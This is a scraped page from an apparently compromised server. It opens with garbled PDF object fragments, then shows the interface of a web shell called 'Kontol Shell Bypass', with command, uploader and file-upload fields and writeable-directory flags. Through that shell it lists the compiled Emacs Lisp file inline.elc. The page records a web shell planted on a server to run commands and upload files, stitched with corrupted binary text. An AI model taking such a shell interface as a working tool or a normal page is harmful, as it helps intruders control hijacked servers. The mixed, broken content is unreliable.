%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/emacs-lisp/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/emacs-lisp/inline.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(require 'macroexp)
#@80 Similar to backquote, but quotes code and only accepts , and not ,@.

(fn EXP)
(defalias 'inline-quote '(macro . #[257 "\300\301!\207" [error "inline-quote can only be used within define-inline"] 3 (#$ . 430)]))
(put 'inline-quote 'edebug-form-spec t)
#@64 Return non-nil if the value of EXP is already known.

(fn EXP)
(defalias 'inline-const-p '(macro . #[257 "\300\301!\207" [error "inline-const-p can only be used within define-inline"] 3 (#$ . 688)]))
(put 'inline-const-p 'edebug-form-spec t)
#@36 Return the value of EXP.

(fn EXP)
(defalias 'inline-const-val '(macro . #[257 "\300\301!\207" [error "inline-const-val can only be used within define-inline"] 3 (#$ . 936)]))
(put 'inline-const-val 'edebug-form-spec t)
#@42 Signal an error.

(fn FORMAT &rest ARGS)
(defalias 'inline-error '(macro . #[385 "\300\301!\207" [error "inline-error can only be used within define-inline"] 4 (#$ . 1162)]))
(put 'inline-error 'edebug-form-spec t)
(defalias 'inline--leteval '(macro . #[385 "\300\301!\207" [error "inline-letevals can only be used within define-inline"] 4 "\n\n(fn VAR-EXP &rest BODY)"]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put inline--leteval lisp-indent-function 1 put edebug-form-spec (sexp &rest body)] 4)
(defalias 'inline--letlisteval '(macro . #[385 "\300\301!\207" [error "inline-letevals can only be used within define-inline"] 4 "\n\n(fn LIST &rest BODY)"]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put inline--letlisteval lisp-indent-function 1 put edebug-form-spec (sexp &rest body)] 4)
#@474 Make sure the expressions in VARS are evaluated.
VARS should be a list of elements of the form (VAR EXP) or just VAR, in case
EXP is equal to VAR.  The result is to evaluate EXP and bind the result to VAR.

The tail of VARS can be either nil or a symbol VAR which should hold a list
of arguments, in which case each argument is evaluated and the resulting
new list is re-bound to VAR.

After VARS is handled, BODY is evaluated in the new environment.

(fn VARS &rest BODY)
(defalias 'inline-letevals '(macro . #[385 ":\203\300\211A\262\242\301BBE\207\203\302BB\207\303!\207" [inline--leteval inline-letevals inline--letlisteval macroexp-progn] 7 (#$ . 2009)]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put inline-letevals lisp-indent-function 1 put edebug-form-spec (sexp &rest form)] 4)
(defalias 'define-inline '(macro . #[642 "\211\242;\205
\211A\262\242C\242\242\301=\205\211A\262\242\302\303\304\"!\305!\306\307\310#\210\311\312\313\301\307	D\nABB\314\315\316\317\320\321\322BBBBBB\"D\"BBB\323\324\312\325\fB\326\327\330\314\331\332\333\334\335\336BBBBBB\"E\257DF\207" [macroexpand-all-environment declare intern format "%s--inliner" macroexp-progn function-put compiler-macro nil progn defun append macroexpand-all (inline-quote . inline--dont-quote) (inline--leteval . inline--dont-leteval) (inline--letlisteval . inline--dont-letlisteval) (inline-const-p . inline--alwaysconst-p) (inline-const-val . inline--alwaysconst-val) (inline-error . inline--error) :autoload-end eval-and-compile inline--form (ignore inline--form) catch 'inline--just-use (inline-quote . inline--do-quote) (inline--leteval . inline--do-leteval) (inline--letlisteval . inline--do-letlisteval) (inline-const-p . inline--testconst-p) (inline-const-val . inline--getconst-val) (inline-error . inline--warning)] 26 "\n\n(fn NAME ARGS &rest BODY)"]))
(byte-code "\300\301\302\303#\210\304\301\305\303#\210\300\301\306\307#\207" [function-put define-inline lisp-indent-function defun put edebug-form-spec doc-string-elt 3] 4)
(defalias 'inline--do-quote #[257 "\211C\300\242:\203&\242@\211\301=\203:\242A\211:\2032\211@A\211\204)\211\262\202-!\266\202\2025!\262\202!\211\302=\203\254\242A\211:\203\244\211@\211:\203\234\211@\211\301=\203\223A\211:\203\212\211@A\211\204\200A\211\204v\303\304E\262\202{\n!\262\202\205	!\266\202\202\216!\262\202\227!\262\202\237!\262\202\247!\262\202!\211\305=\203\242A\211:\203\211@\211:\203\211@\211\301=\203A\211:\203\374\211@A\211\204\362A\211\204\350\303\306E\262\202\355\n!\262\202\367	!\266\202\202!\262\202	!\262\202!\262\202!\262\202!!\262\202*\307\242!\262\207" [#[257 "\300\242:\203!\242@\301=\204!\302\242\211\242A\240\210\242!B\262\202\211\237\262\242\2037\303\304\302\242!C\"B\202:\305B\207" [nil \, inline--do-quote backquote-list* append list] 7 "\n\n(fn EXP)"] \, quote list 'quote function 'function macroexp-quote] 15 "\n\n(fn EXP)"])
(defalias 'inline--dont-quote #[257 "\211C\300\242:\203 \242@\211\301=\203:\242A\211:\2032\211@A\211\204)\211\262\202-!\266\202\2025!\262\202\211\302=\203\251\242A\211:\203\241\211@\211:\203\231\211@\211\301=\203\220A\211:\203\207\211@A\211\204}A\211\204s\211\262\202x\n!\262\202\202	!\266\202\202\213!\262\202\224!\262\202\234!\262\202\244!\262\202\211\303=\203\242A\211:\203\211@\211:\203\211@\211\301=\203\377A\211:\203\366\211@A\211\204\354A\211\204\342\211\262\202\347\n!\262\202\361	!\266\202\202\372!\262\202!\262\202!\262\202!\262\202!\262\202\"\242\262\207" [#[257 "\300\242:\203!\242@\301=\204!\302\242\211\242A\240\210\242!B\262\202\211\237\262\242\204.\211\202?\303\304@D\305A\302\242!C\"BB\207" [nil \, inline--dont-quote apply function append] 8 "\n\n(fn EXP)"] \, quote function] 13 "\n\n(fn EXP)"])
(defalias 'inline--do-leteval #[385 "\3009\203\n\301\202\302\242\206\243@\206BBBB\207" [macroexp-let2 macroexp-copyable-p ignore] 7 "\n\n(fn VAR-EXP &rest BODY)"])
(defalias 'inline--dont-leteval #[385 "9\203	\300!\207\301CBB\207" [macroexp-progn let] 5 "\n\n(fn VAR-EXP &rest BODY)"])
(defalias 'inline--do-letlisteval #[385 "\300\301!\302\303B\304\305\306\307\310\311\312\313\314\315
E\316BBBFEEDD\317\320D\321!EE\207" [make-symbol "bindings" let* (nil) mapcar lambda (e) if (macroexp-copyable-p e) e let ((v (make-symbol "v"))) push (list v e) (v) macroexp-let* nreverse macroexp-progn] 17 "\n\n(fn LISTVAR &rest BODY)"])
(defalias 'inline--dont-letlisteval #[385 "\300!\207" [macroexp-progn] 4 "\n\n(fn LISTVAR &rest BODY)"])
(defalias 'inline--testconst-p #[257 "\211\300!\203\211\202\301\302!\303\304D\305\306D\307BBE=\203$\211\202+\310DC\"\207" [macroexp-copyable-p make-symbol "exp" or macroexp-const-p eq car-safe ('function) macroexp-let*] 8 "\n\n(fn EXP)"])
(defalias 'inline--alwaysconst-p #[257 "\300\207" [t] 2 "\n\n(fn EXP)"])
(defalias 'inline--getconst-val #[257 "\211\300!\203\211\202\301\302!\303\304\305!D\306B\307D\310DD\311DF=\203+\211\2022\312DC\"\207" [macroexp-copyable-p make-symbol "exp" cond not inline--testconst-p ((throw 'inline--just-use inline--form)) consp cadr t macroexp-let*] 8 "\n\n(fn EXP)"])
(defalias 'inline--alwaysconst-val #[257 "\207" [] 2 "\n\n(fn EXP)"])
(defalias 'inline--error #[128 "\300B\207" [error] 3 "\n\n(fn &rest ARGS)"])
(defalias 'inline--warning #[128 "\300\207" [(throw 'inline--just-use inline--form)] 2 "\n\n(fn &rest ARGS)"])
(provide 'inline)

Kontol Shell Bypass